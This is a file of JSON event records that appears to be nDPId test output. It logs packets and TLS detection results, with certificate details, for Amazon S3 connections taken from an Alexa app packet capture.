+02008{"flow_id":102,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":119124,"pkt_caplen":1220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1220,"pkt_l4_len":1186,"pkt":"AMDKkaPvePiC0\/vCCABFAAS2BwdAAEAGCKqsECrYNu8YuoUaAbt\/SW8FQ51FNVAYAVv5gQAAFwMDBIkAAAAAAAAAAiZqs1Vb0YVgA6hrmZy2IxTyqurVSnyw+hLlHcN4uWAYD181xaQ6IkNv+jBs\/OPztuojzcEs8uq2UFY1KaKkl9RWaqUZF2DbDeW0RqohzScuud4ItZFd\/kwJqXiI8mH\/vLmAnJGEiwrOo5VjWJoRULPrRzcM31zSYgSsD9wq9cHnu0zsfFrOyoCA\/E6v7XWQhK8CAlRTjCwVS7JPNiopCk+eAgVzL8BQLFGxQSBzFkM4McZeShuZNBuJNBiIdNwNjqBUvlY6sqz\/V5c+23umNwNPu6wHZrtcPjrI03P0oDODTFny58WETqbwUG12nYSJ87SOfALxmzMuUwTLBQmFrZ9XHcXnSzolMt\/\/saQyKqbMgbxoTwwA70zktHncwrmKfTIP8vtcNS8TUv0vt\/08yi\/Vu\/CRrYiwoYijN3WRnrG\/bY30zhbHG1Qcrgto48g9mgEDoLPuy1i6v4f585Y\/lN++jkejerMFqkaCG8aI+23FAVUyXZeX9+2zXueRwT87vK8zwjwi6jBHJx3m+bAzzNGLpi\/PWQvCKAYulaHu4V95PA88sI0XQNVHMot++P5\/d1VS4vlllpKOQrcpqSX11KaNMEgnSnktBiHCCiO0Fd1HXuAesgIkvGVzdD9bZp+P83mMrHC+7ZkheUpHSS\/2iEO3QPySeG0+m8kdo2sUILbnU3bMt510HO4y2V8B1W2O1b9U05GZ6X7xJCwVhlGxsfCgyA7oj9DhGXyb2abcKzYLVu+hAGSZ\/+LPPWKJudu9IREU9rwEQdZt+gyh\/Vmk0P4Tq3MK3D2CJFuq74UHurRrlR4TTnAjwPmJYIEy17MyNBPo9plIWRhA1nm8P3IQA+3TSEbIVXJfxRq02CIErv4s2wdye5ztlTAv61x4T2pp2Kx4elQuiLF01k1G6RpFV4tpfAMmhUXfJBY8ILOnGhfM4d26eEliRyRMIW0l1OyA5cpimxUXWV3GUBFy4JJRGPDwge6RJ\/\/Eu2s12V\/4VkTjGAYsPa7tToH4hmkN9CDHoIRmaQYa8nX\/F\/UVEpC9a02sL+xlYk9YVgtYBN+rG3UtVaIdvlbowgCKGPKY3YhuJifwrc0X+f7Xd8F+v0i6b4cnG0gvOSRAKSArbTPY8kDq32+mcFAPFNxi\/m8mZ2bG8gwzZs8sU12nAYm4JWi7M7Xna9KLVGPkFaORcSFr\/x83rIyue5wOPTmaMwt4HOmEknYJFHa6Se8nIildN263ZyR6T9VcMTwDMu6gFJZv1IerkoSDr7mDAsqAE75mf9Uk30eO2yRipTToyQmUI8I3TAr3vDDMdXEo08psyVrEO6Vp63YI1L+IjtwVJlbRzL3dbLt457DutWNaMAmL8f3SkVbkvAphDXoOx2iBa8NLUbGqIKPgS90HAjgxZ8VuPnjaDxCWOg8CSKz8rzp0408q9\/hoW14Pw0FQ4Yb1K9wkNXAQcVr6v+X1YNkFao3xfM41nbN8GGTmB9v5Ww0OscMMCteo1QUAnror\/cTqHP1mh+qBvvs3dzp89f\/p\/rbmuh7aNvI="} +00424{"flow_id":103,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":182554,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoaBZAAOcG1ZE250hYrBAq2AG7o2ETwX1ZiAleU1AQAD482wAAAAAAAAAA"} +00544{"flow_id":103,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":182694,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"ePiC0\/vCAMDKkVoBCABFAACEaBdAAOcG1TQ250hYrBAq2AG7o2ETwX1ZiAleU1AYAD4ICwAAFgMDAFcCAABTAwNY3n1llS4Esy4awxtds68GA4tb2AgmMZO8jk83k75XHyAGw6pP2tZgkbIS4p8bLezgqIPjTSDOaVq9aJoKfGBKDMAvAAALAAsAAgEA\/wEAAQA="} +00799{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1621,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":103,"flow_packet_id":6,"flow_first_seen":1490976100859,"flow_last_seen":1490976101182,"flow_tot_l4_data_len":491,"flow_min_l4_data_len":20,"flow_max_l4_data_len":267,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41825,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"ea615e28cb25adfb2f261151eab3314f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02347{"flow_id":103,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1622,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":183239,"pkt_caplen":1486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1486,"pkt_l4_len":1452,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXAaBhAAOcGz\/c250hYrBAq2AG7o2ETwX21iAleU1AQAD5EeAAAFgMDCkYLAApCAAo\/AAXSMIIFzjCCBLagAwIBAgIQBMfcKOK8HBiR3kAN+oIkNzANBgkqhkiG9w0BAQsFADBkMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSMwIQYDVQQDExpEaWdpQ2VydCBCYWx0aW1vcmUgQ0EtMiBHMjAeFw0xNjA3MTgwMDAwMDBaFw0xNzEwMjYxMjAwMDBaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdTZWF0dGxlMRgwFgYDVQQKEw9BbWF6b24uY29tIEluYy4xJjAkBgNVBAMMHSouczMtZXh0ZXJuYWwtMS5hbWF6b25hd3MuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxgFi5t9Poottv4yA9sjKTkUeKR0nxIcwIwvLFnS6eJtozACVXMgNBMnYNxtBJITuzZzMGfNOfQ5I3x4aR0p1Vh5BI\/oRM8Zize4Nb1RXsmlqU0QSAPBUn2aS2EzQ70GsGtlaA8Ypyc6xYmv\/ejtxi9iLOUyBQY7hmOKGiSHWC+fw\/kf1JwnVRUI1Ng2tpaadtJLUCsXxJtT1zYnAhOm22p0KTQf86wbxhwI5tBOIKYG15htwGbFHZjDh5jI1RmQgShWsxwIupqTrA1ZGunl3BSCih7giPwspTSV1paONn6iFhdaBisNmXAavJ031zbBm6T1I+AAl+jfuK\/0IGHd7UQIDAQABo4ICaDCCAmQwHwYDVR0jBBgwFoAUwBKyKHRoRmfpcCV0GgBFWwZ9XEQwHQYDVR0OBBYEFMRhhXtDQWVjWAVqI6zMSh\/+fx6GMIGXBgNVHREEgY8wgYyCG3MzLWV4dGVybmFsLTEuYW1hem9uYXdzLmNvbYIdKi5zMy1leHRlcm5hbC0xLmFtYXpvbmF3cy5jb22CG3MzLWV4dGVybmFsLTIuYW1hem9uYXdzLmNvbYIdKi5zMy1leHRlcm5hbC0yLmFtYXpvbmF3cy5jb22CEiouczMuYW1hem9uYXdzLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMIGBBgNVHR8EejB4MDqgOKA2hjRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3JsMDqgOKA2hjRodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3JsMEwGA1UdIARFMEMwNwYJYIZIAYb9bAEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCAYGZ4EMAQICMHkGCCsGAQUFBwEBBG0wazAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEMGCCsGAQUFBzAChjdodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRCYWx0aW1vcmVDQS0yRzIuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQELBQADggEBACGCc5e6zWQoCjtzewfTwAojL4HVsnvTH+kNkrApkaprXymS3MP6IUuyqzQo6pzl85nd9XJG6lNZbD\/Aj\/jAS+ZNXfa\/x9cR2IBjPsoZZkqlGLiqQHrbCL3ZOiQYQPZcyFcu3FXb6CxuxcrJa6CaUeJMZr3CsAdvpBc3s7zBqfVPMbF+V9EfEHLk3M9eWuVuXISnrn+pVpM8XZAq1R9\/0Gpke6hG0m8bP1ew0sdkBxG8ms8C3Sld\/w=="} +02037{"flow_id":103,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1623,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":183407,"pkt_caplen":1257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1257,"pkt_l4_len":1223,"pkt":"ePiC0\/vCAMDKkVoBCABFAATbaBlAAOcG0Ns250hYrBAq2AG7o2ETwYNNiAleU1AYAD5yHQAArkanxPEbwbKd3CLwypjbfWs559TWHFzKn+j766LVovsuE5+bK+6wzq66lFFthbWdg5lIAyUv7wnwc1e52uTF6wz0XiihPS82EAAEZzCCBGMwggNLoAMCAQICEAGC+AmOouYmuRo7J4Qfua8wDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNTEyMDgxMjA1MDdaFw0yNTA1MTAxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIzAhBgNVBAMTGkRpZ2lDZXJ0IEJhbHRpbW9yZSBDQS0yIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu+cA\/gABc++biPBcCHXwXHBzH\/+1eh+NCCP9x8ETP7EhBr1NzNstuIcZMd7aaw3BXdJR1bBectTwZtSE8pEYQbUJJrIDlgRplVP6B08+voY6QyuyWbWr0br0WUByWme2zeZV\/AkrpJiyv8ypH9S\/h4+CJf1FgKnsnYz5dJDPHPhlUK\/N+EWryC+NjjYd3uqJzbJS2eUJzTZxK9rG0JvG9qRbWzm2HwAfGaT7074M5vuP3Q6A5qTnWsTAL3LukfODZ8nNys5KsCCB\/eRyrwkY509C7E0nQk0HoN3VDXX3NmDMJlSYoYg38IP3rSlZIM+7JeHVnubzrsEB67UGieIKjwIDAQABo4IBGTCCARUwHQYDVR0OBBYEFMASsih0aEZn6XAldBoARVsGfVxEMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAv4jdmwxrPkVXuKRT6UBC+mY3iKPF0FgdpO0QwPfW5SfVoNv63MI2p4AdJQmNGUrVpxptJ8hoPV8b2t76rdY0Noqsz5GKFQ1SrY5QMo1Og6h3kpqaslQ5leOwzjL6UPthwq+rH4XjOM5W7+yxY4IpApm1B2NjZs\/kvAsUbcGviOoV7HRiw0UuawW8XECnoDsPhVJZUpZGVCCCNaSyeLz9QtC7lVx+vpHPSoSS7DZD+RRMdp6Ep2GYLw9Fss0+0K4RMR5Dsi+JBiRO2B0Z3Qv27Hhf6\/yVLjlBX647MThU\/sSXdQQygnGJtb7qXB4vZ8wYQxSnU97oWkKjQVOFLSceY"} +01213{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1623,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":103,"flow_packet_id":8,"flow_first_seen":1490976100859,"flow_last_seen":1490976101183,"flow_tot_l4_data_len":3166,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1452,"flow_avg_l4_data_len":395,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41825,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","server_names":"s3-external-1.amazonaws.com,*.s3-external-1.amazonaws.com,s3-external-2.amazonaws.com,*.s3-external-2.amazonaws.com,*.s3.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"ea615e28cb25adfb2f261151eab3314f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert Baltimore CA-2 G2","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com Inc., CN=*.s3-external-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"C0:51:D8:FA:6B:58:94:F2:3E:4E:7D:B2:36:5F:02:E4:F0:3F:54:FF"}} +00874{"flow_id":103,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1624,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":185274,"pkt_caplen":392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":392,"pkt_l4_len":358,"pkt":"ePiC0\/vCAMDKkVoBCABFAAF6aBpAAOcG1Ds250hYrBAq2AG7o2ETwYgAiAleU1AYAD5HUAAAFgMDAU0MAAFJAwAXQQRmgmcUuMoenckcLDQ0lXwgLYL8n0\/0VvLZWK6qvbBr8Gs9SJ1oDIgoBRyU3vwjYLBHWK64HJuCN1BChmrzgeUtBAEBAFG9ENW6ChGGkHeoeOAmvl+W0ZI\/JA6d34IaTYASBKUKijTBXJaXuYgk79v2dIFC+MSz213G3HXe9jUe5+KdVzqwjBcqgzN7prDTQ2CFIc+b8pJmGk7ej1UB+4AhOpAG0W4DKt2qhpVCo8zgcOCw3ZNtYqcxGcfx72i6re5qYYPK4S+2LeEo6jInFhMCNgkpLJlhHstFEfl3ldiLJdwdJU59xZNf38zLJ\/WZBEwSC4j3oyLiAApt60F8SWQJB9lEo+isX+obFXbkuWHcm1LPIGqaULifO7GKH2LfHwq0BUyQaPYQL7XTxT9PwdQXWZMvBVDleNYKVtuqCw6WCZJe9ZI="} +00429{"flow_id":103,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":185397,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAxaBtAAOcG1YM250hYrBAq2AG7o2ETwYlSiAleU1AYAD4TwAAAFgMDAAQOAAAA"} +00417{"flow_id":103,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1626,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":185531,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOPFAAEAGq7esECrYNudIWKNhAbuICV5TE8F9tVAQAVc7ZgAA"} +00417{"flow_id":103,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1627,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":187395,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOPJAAEAGq7asECrYNudIWKNhAbuICV5TE8GDTVAQAWI1wwAA"} +00417{"flow_id":103,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1628,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":191381,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOPNAAEAGq7WsECrYNudIWKNhAbuICV5TE8GIAFAQAW0xBQAA"} +00417{"flow_id":103,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1629,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":191665,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOPRAAEAGq7SsECrYNudIWKNhAbuICV5TE8GJUlAQAXgvqAAA"} +00417{"flow_id":103,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1630,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":191797,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOPVAAEAGq7OsECrYNudIWKNhAbuICV5TE8GJW1AQAXgvnwAA"} +00425{"flow_id":102,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1632,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":293467,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonQlAANsG3DQ27xi6rBAq2AG7hRpDnUU1f0lpnFAQAViPXQAAAAAAAAAA"} +00446{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1637,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":550206,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8EgdAAEAGAiSsECrYNu8YuoUZAbtS0XeRAAAAAKAC\/\/9pRQAAAgQFtAQCCAoA9mX7AAAAAAEDAwg="} +00429{"flow_id":101,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1642,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":623514,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwX5pAAOcGDZw27xi6rBAq2AG7hRl1e+g1UtF3knASH\/6OkAAAAgQFtAEDAwY="} +00416{"flow_id":101,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1643,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":624786,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoEghAAEAGAjesECrYNu8YuoUZAbtS0XeSdXvoNlAQAVfZAQAA"} +00424{"flow_id":101,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1644,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":775354,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAofrxAANsG+oE27xi6rBAq2AG7hRl1e+g2UtF3klAQARzZPAAAAAAAAAAA"} +02298{"flow_id":102,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976102,"pkt_ts_usec":40503,"pkt_caplen":1439,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1439,"pkt_l4_len":1405,"pkt":"AMDKkaPvePiC0\/vCCABFAAWRBwhAAEAGB86sECrYNu8YuoUaAbt\/SWmcQ51FNVAYAVsmRwAAWPu+re8td319vpHkYRqU1n4saIiECxXkXIi8O4byzxcwU0p0b0LVrOouxDCJXgWcbmYISD1emWPcBl52ZSEHgm+avfxZByJiaP7PAWSfebQ9EeHYuxkPuUHmdrEMdfzLfmfGbRLZoERRIZNPT3Jw0Q2DPrNwsuI3b4B1z\/tBqHM8VPFLLM7aXfMEqtPbXEnN4UofQlwF94VH5d+lU1T8H4nLNomZUxNKcVgsQ61BMUmT7gceSL5G3Yoy+8qaX92nESRUfKZIkEIFC93xf4Wtag1oA+W\/\/Mf+dgE8QgUqi56il4YKVUGtvHQfchB6XasxRZUBoYiiEvDoG9pdOhl59JxK0GzxilF07gzRwOrRB\/heuUvb4xaJI5\/ZRJM64pfiwit2ef1tRIaIxKMhJZWy12iSYZDnba1zHPjiV3G4hOhV8poaLmIFLTGFQ4ukAdpqmfAyZPHRjjIEYC8hYrXrT8XGjxwxpRB5sID5tBNuXKfWGRwbC6XJEd1o0t\/SQliljfmWj+icTD5u2om6NSNtbmszHg+4O6qFPDWB8tulKzToOmd63HseyB4Hu\/d\/2IZrFhd0v\/LJqWNor5E6XkZz1pgaZ9NSPMlL+Yz3AeA7n9ZWSt2v3no5FOepOkdRzWfBo+wsmHGDK8yg3xOesQfiOv3uljlNtnrInf1U1mKWNfx9LLP0d33Rq\/HuuDFmA0Ap0H+fxik6YDAa49bB63kTUrhj4jG2awtRmir4rxbKIy9mfHtwYXIStG0z0pxvPJOLVLnGefFLM4f18i9k9A3Gc8py\/QFR9edOpkENWoZeLTw5mjxDURCBsfhKh7VyN\/oVr55\/Bz4EtPIe8dZNDvsQNAiLHiEaFCmSSd\/BKdeieLhyIG3QdxzXOGlgww9DXrVzmaay1yhMplXljyDNR1LC\/JYIkuB+VTTlpzUxqucGYRAN9iWD0Hf78pzQ1+uh1W04QYs9tu81GCBbs1ZamMysGgwLoLncMVWgI6V2g9WmXqVEWK6mtyV4codrDrsUUIDWATfwqfF5WEgPMPdo1PmPJqBfwYaOb0yBk5kmC\/ebEyRlD61YZGvspczXGLOrp2Ua+pqZGtUCZJQVwrrOtSPPjJJY+5qF5Gjf\/mqHDR2yn81wWpo+q0OmoD85S8n5RCJOTeGUKgsV1SUtzV3Iiv5Dwnrw0F4u82e2PyP8Gbgcr2Q+BiUQLmJgqRjcIYXbkHaYl0aFO4snnIl9daXEr4pozCb1fq\/qzXtykZfI3nfQqEt28MON0GGyYBdLlTPK7+l4ahmQlB3LOHWWJMfpwku7EzB1na3a8RunTFbWjc\/MwqU6jot3TAbDQav2v0urNc2P16ntLAXhfb+zQKVvZztmRH2ERNJNDCwult\/UM3JfdsWSHH6SMgcieYxIOgw850t5l4OpetvXMIH1GUmPu8G0ya9KHLDtGNctUY1gG8gdeBD3yd5XFEbMGxBCifxFddksk4WxvsQOPZN4zt8LbccM\/7NaQOTZPuHJ3PVY1SB5xOBW0tFVYYgkzvZRzgUcl8WRqG2Asj54wYgriIZov5KykuG5xvS52+MAFbomHjGCahbwnZIZhRS6ADw5bmB+hk7x0zTzYCdKJ\/oO050IM++xNfY+8KVqZBWdyHe49Pr0Zd3c94j\/hgL\/8rZnJcPUNct3F2LtWPHocxG3DL5q8xiyMTWTuVuKkpmkhGeQq+9BmxRWPCcjmKoGUSNnEYCE36VRR3LdT\/lQftEVD0b56P4iI41Fxc+IbXllXEPr5biORw\/XD7xaIMKXaDevoGuGiJp0wH4mSqE6ZcohdRAqXhs0bI+F4P+\/130zviyzdpufCVJq9uZ7tpFCSTA="} +00425{"flow_id":102,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1647,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976102,"pkt_ts_usec":188247,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonQpAANsG3DM27xi6rBAq2AG7hRpDnUU1f0lvBVAQAYiJxAAAAAAAAAAA"} +00445{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1657,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976104,"pkt_ts_usec":573475,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G7RAAEAGvmWsECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/+9NAAAAgQFtAQCCAoA9mcoAAAAAAEDAwg="} +00445{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1658,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976104,"pkt_ts_usec":800373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzhAAEAGfuGsECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9LNAAAAgQFtAQCCAoA9mdAAAAAAAEDAwg="} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":46,"flow_packet_id":11,"flow_first_seen":1490976044439,"flow_last_seen":1490976046418,"flow_tot_l4_data_len":2423,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1016,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49589,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":32,"flow_first_seen":1490976041156,"flow_last_seen":1490976043655,"flow_tot_l4_data_len":11044,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":345,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45661,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 